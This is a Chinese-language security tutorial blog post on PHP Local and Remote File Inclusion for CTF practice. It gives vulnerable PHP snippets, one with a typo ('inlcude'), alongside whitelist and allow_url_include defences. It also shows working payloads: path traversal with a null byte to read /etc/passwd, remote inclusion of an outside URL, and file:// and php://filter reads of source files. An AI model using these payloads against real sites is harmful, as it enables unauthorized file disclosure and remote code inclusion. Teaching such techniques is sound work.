iT邦幫忙

第 12 屆 iThome 鐵人賽

DAY 7
0
Security

資訊安全的美味雜炊系列 第 7

[Day7] - PHP(LFI/RFI)

  • 分享至 

  • xImage
  •  

Day7 - PHP(LFI/RFI)

前言

  • 今天會介紹一下LFI/RFI,這應該算是CTF蠻常會利用到的技巧,算是老梗XD

先備知識

  • 路徑
    • 相對路徑(不從跟目錄開始寫)
      • ./ 當前目錄
      • ../ 前一層目錄
      • ~ 家目錄
    • 絕對路徑(從根目錄開始)
      • /home/halloworld/flag.txt
  • URL(Uniform Resource Locator)
    • `scheme:host:port/path?query=aaa
      • example: http://122.55.33.44/file?query=abc
      • scheme 協議
      • host 主機位置
      • port 通訊埠
      • path 路徑(網頁伺服器)
      • query 參數
  • URL-encoding
    • 百分號編碼
    • 將特殊涵義的字元,給予百分號的編碼

LFI(Local File Inclusion)

  • 產生的原因是程式設計師未對用戶參數未進行輸入檢查,導致駭客可以讀取server上的敏感文件
  • 開發人員可能貪圖方便,將GETPOST參數直接設定為檔案名稱,直接include該檔案進網頁裡
    • 結果就造成了引入其他檔案,造成資訊洩漏

RFI(Remote File Include)

  • 基本上與LFI概念一樣,只是include的file來源變成從外部引入
  • 觸發條件必須要把php設定參數allow_url_include 訂為ON

實戰

LFI

<?php
$file = $_GET['file']; 
if(file_exists('/home/halloworld/' . $file . '.php'))
{
inlcude '/home/halloworld/' . $file . '.php';
}
?>
  • 如何繞過?
    • %00, /0,截斷後面字串,變成include我們要的檔案
    • 調整目錄位置,../
    • 組合技
      • http://www.aaa.com?file=../../../../../../../etc/passwd%00
  • 防禦
    • 利用白名單
<?php
    $file = $_GET['file'];

    //whitelisting possible values
    switch($file)
    {
        case "main":
        case "foo":
            include "/home/halloworld/include" . $file . ".php";
            break;
        default:
            include "/home/halloworld/include/main.php";
    }
?>

RFI

<?php 
    $basePath = $_GET['path'];
    require_once $basePath . "/test/m_share.php";  
?>
  • 可以發現他把後半段的路徑寫死,如何繞過?

    • 我們可以把透過?,把他當http的參數傳過去,就能引入外部檔案了
  • http://127.0.0.1/FIleInclude/index.php?path=http://aaa.com/test/solution.php?

  • 防禦

    • php.ini的設定請將allow_url_include關掉,不過default是關的
allow_url_include = Off

偽協議

  • 這是php帶有很像URL風格的協議,這些協議很可能會造成漏洞

file://

  • 能讀取local file的協議

    • 當server使用黑名單防禦,很有可能就會漏掉偽協議
  • example:

    • http://127.0.0.1/cmd.php?file=file:///home/halloworld/flag/flag.txt

php://filter

  • 能對檔案進行讀寫
  • 長相
    • php://filter/read=???/resource=
      • read可以選擇要讀取的編碼方式
        • convert.base64-<encode/decode>
          • 這個ctf最常用,可以將原始的source code拿出來
        • string.rot13
        • string.toupper
        • string.tolower
      • resource選擇你想要讀取的檔案
  • example

詳細列出各種任意檔案讀取的payload

ref


上一篇
[Day6] - SQL injection (2)
下一篇
[Day8] - PHP(Deserailize)
系列文
資訊安全的美味雜炊30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言